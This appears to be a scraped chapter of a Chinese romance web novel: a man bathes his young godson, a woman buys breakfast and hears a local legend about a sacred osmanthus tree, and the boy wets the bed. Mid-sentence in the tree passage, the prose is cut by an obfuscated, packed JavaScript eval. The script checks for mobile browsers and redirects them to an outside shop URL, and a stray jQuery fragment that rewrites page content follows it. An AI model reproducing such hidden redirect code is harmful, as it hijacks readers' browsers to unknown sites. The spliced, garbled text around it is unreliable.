卫生间传来哗啦啦的水流声。
Aico穿着凉拖,站在花洒下面,任由白宋帮他洗头洗澡,愣是一句话都不说,仿佛被刚才那顿饭给毒哑了。
小孩儿皮肤很白,眼睛又大又圆,这张脸跟周云泽相像至极。哪怕只有六岁,也是一副花花公子的长相,甜言蜜语张口就来,听得人心花怒放。
当然,除了他这个干爸外。
白宋也发现了,Aico从不会在他面前放肆,别说甜言蜜语了,就连话都不怎么敢跟他说。
他忽然想起儿时的自己,在父亲面前,也是这般胆怯的模样。
明明恨极了他的严厉和专制,结果到头来,还是长成了如他一般的大人。
见Aico抬手抹了把脸上的水,白宋收回思绪,问他:“水温可以吗?”
“可以。”
“喜欢用香皂还是沐浴露?”
“都行。”
白宋的经验是沐浴露不好冲洗,而且香精味很浓,他不太喜欢,于是拿起香皂打满他的全身。
很好闻很舒心的味道,有种家的感觉。
在白宋专心帮Aico搓洗的时候,小孩儿抿着嘴,悄悄打量起他。
因为相隔两地,所以他们这对干父子平时不常见面,不过每年生日,他都会收到来自干爸的礼物。
他知道干爸人不错,就是太严肃了,也不爱笑。
心里想靠近,又不知道该怎么靠近。
“你很怕我吗?”白宋冷不丁冒出这么一句话,惊得Aico心跳漏了一个节拍。
“……没有啊。”小孩儿佯装镇定,嘴硬道:“你又不是魔鬼,为什么要怕你。”
“我也想知道。”白宋看着他的眼睛,“我又不是魔鬼,你为什么要怕我?”
“……”Aico沉默了。
其实他真的很想说,你是魔鬼,你就是一个魔鬼,毕竟是在监狱里面管犯人的。
那些犯人多可怕啊!有杀人的,有放火的,干过各种各样的坏事。
万一不小心把你惹生气了,你把我丢进去跟那些坏蛋呆在一起,我小命还能保得住吗?
“干爸。”Aico小声道:“我真的没有怕你,只是比较尊敬你。所有警察叔叔,我都是很尊敬的。”
“油嘴滑舌。”
“……”
*
洗完澡,白宋帮Aico穿好衣服,直接带去自己房间了。
秦念今晚虽然不用带小孩儿睡觉,但白宋总有要上班的时候。等他一走,Aico吃喝拉撒一系列问题都得落在她的头上。
也不知道周云泽什么时候才会来接。
她自己都懒得出门,孩子放在这儿,每天就关在院子里玩儿吗?那也太无聊了。
可若是放他出去,万一出点什么事情怎么办?
这个问题困扰了秦念整整一夜,凌晨四点,惊恐症再次发作。
她从床上爬起来,觉得房间有些闷,便关掉风扇,打开房门来到院子里透气。
东边的天空还浸在黑夜里,过了没多大一会儿,这片浓黑就褪成了深蓝。再从深蓝的边缘,悄悄扯出一丝极细的鱼肚白。
随着白色的范围慢慢扩大,不到五点,微光就漫过了整片天幕。
附近的野猫又出来活动了。
那只肥胖的狸花从围墙一下蹿到屋顶,喵喵叫了几声,大摇大摆地往章奶奶那边走去。
很快,章奶奶家传来开门的声音。
过了几分钟,院子里响起叮铃哐啷的动静,似乎是在做早饭。
想着白宋和Aico应该起不来这么早,一直等到六点半,外面有了热意,秦念才拿上手机来到白云街的张记早点铺。
铺子由两间店面打通,里头摆着几张四四方方的桌子,坐着些顾客,几乎都是中老年男人。有的在吃小笼包,有的在吃馄饨。
她站在门口,正纠结着要买什么,肩膀被人轻轻拍了下。回过头,是白宋的堂妹白薇。
“哈喽。”白薇笑着跟她打招呼,“你也来买早饭啊。”
“嗯。”秦念说:“给你哥买,但不知道他喜欢吃什么。”
“给我哥买?”这句话在白薇听来充满了暧昧。
察觉到她的表情有了微妙的变化,秦念立马大大方方地解释:“他平时挺照顾我的,我也不好意思总吃白食。刚好醒得早,出来逛逛,顺便给他带点吃的回去。”
“我哥又回来住啦?”白薇觉得奇怪,“以前明明很少回来的,一直住在公寓。现在怎么三天两头往这边跑。”
“可能是不放心我一个人住在里面,怕出什么事吧。”秦念理性分析道:“那房子有几十年的房龄,线路都老化了。万一发生个火灾什么的,他是房东,得负主要责任。”
“嗯……”白薇听了连连点头,“有道理,我哥确实是这种性格,什么事情都会考虑得很周全。”
又有人来买小笼包,老板娘将笼屉揭开,白烟瞬间氤氲腾升,裹着浓郁的肉香味扑面而来。
一只只小笼包.皮薄透亮,看着很是诱人。
秦念问:“你哥喜欢吃这个吗?”
“小笼包啊。”白薇摇头说:“不喜欢,嫌太油腻了。他喜欢吃这家的豆浆油条。”
“豆浆油条?”
“嗯,从小吃到大。”
白薇无奈道:“有时候我真觉得他这个人挺无趣的,生活平静得像一潭死水。就连饮食上的喜好,也一直维持原样不变,接受新鲜事物对他来说好像是件很困难的事情。”
这话说得一点没错,几年前两人合租的时候秦念就发现了。
白宋这个人虽然年纪不大,但生活习惯和行事作风都非常老派,尤其是进入体制内以后,身上那股老干部的气质就更加明显了。
可能也正是因为如此,才让他格外深情。
喜欢上一个人,就再也放不下了。
听了白薇的话,秦念给白宋买了一杯豆浆和两根油条,又给Aico买了一屉小笼包。
两人一起往回走。
走到白老三超市门口,白薇停下说:“这个超市就是我家,你要是觉得无聊了,可以过来找我玩。”
秦念看了眼门头上的招牌,“好。”
“对了,还不知道你叫什么名字呢。”
“我叫秦念。”
“我今年二十二,你多大?”
“二十四。”
“比我大两岁。”白薇十分自来熟地说:“那我以后就叫你秦念姐吧。”
“可以。”
*
告别了白薇,秦念拎着早点继续往前走,进了院子,注意力再次被门口这棵桂花树吸引
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17744504|209221||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
本来一棵桂花树上挂满许愿带和许愿牌就够奇怪的了,这会儿凑近仔细一看,根部用砖头围起来的圈圈里,居然还有一堆香灰。
刚好章奶奶坐在门口择菜,秦念就找她问了一下。
“这棵树有灵。”章奶奶说:“农场好多人来这里许愿,有些人初一十五也会过来烧香。”
“?”居然有这么稀奇的事情。
秦念疑惑,“你们怎么知道它有灵呢?”
被这么一问,章奶奶随即停下手头上的活,跟她一番讲述。
大致上是这么回事——
几年前邮政银行出资修缮院子里坑坑洼洼的水泥地面,觉得这棵树有些碍事,还遮挡阳光,领导便一声令下,让施工队把树给挖走。
结果奇怪的事情出现了。
当天明明艳阳高照,晴空万里。可就在挖掘机师傅准备动工的时候,天空忽然乌云密布,一阵大风刮过来,尘土飞扬,眯得人睁不开眼睛。
好不容易等风停了,师傅下来查看情况,没走两步,竟直直倒在了地上。
工友们赶忙把他送去医院,确诊为突发脑溢血,人就这么没了。
第二天住在淮村的一位“仙姑”听闻了此事,过来一看,直言这棵树有灵,动不得。
若是强行挖走,惹怒了它,必定还会发生其他灾祸。
就这样,树不仅保住了,农场的居民们听说它有灵,还纷纷跑过来上香许愿。
章奶奶说:“都是年纪大的人信,年轻人不信这些。”
秦念问:“那您信吗?”
“我肯定信啊。”章奶奶看着桂花树说:“上面好几个红带子都是我叫我孙女帮忙挂的,保平安的。你要是相信,也可以在网上买回来挂上。”
“您刚才不是说了,年轻人不信这些。”
秦念微笑道:“我还是更相信我自己。”
开门进屋,白宋和Aico还没起床,她把早点放下,正准备去敲窗户,客厅的门从里面被打开,白宋拿着床单被罩走了出来。
Aico跟在他身后,耷拉着脑袋,一副犯了错的模样。
秦念问:“什么情况?”
白宋说:“尿床了。”
“尿床?”秦念看向小孩儿,“你都六岁了,怎么还尿床?”
Aico紧咬着嘴唇,两只手握成拳头,耳尖有些微微泛红。
等白宋把床单被罩都塞进洗衣机,从卫生间出来后,他才仰起小脸,对两人说:“这也不能怪我。我做了一个梦,在梦里很想尿尿,然后就到处找厕所。找了好久终于找到了,我就对着马桶开始撒尿。结果睁开眼睛才发现,那居然是在做梦。”
“我真不是故意尿在床上的……”
“又没人怪你,这么紧张做什么?”
秦念催促:“给你们买了早餐,快点去刷牙洗脸。”
“噢。”Aico连忙走进卫生间。
白宋帮他放好一杯水,让他自己挤牙膏。
小孩儿学着他的样子,将自带的儿童牙膏挤了些在牙刷上,然后端着牙杯蹲在院子里,认认真真刷着牙。
很快卫生间传来剃须刀的嗡嗡声,洗衣机也开始工作了。
秦念看着眼前的景象,恍惚间,产生了一种自己已经结婚生子,一家三口正在好好过日子的错觉。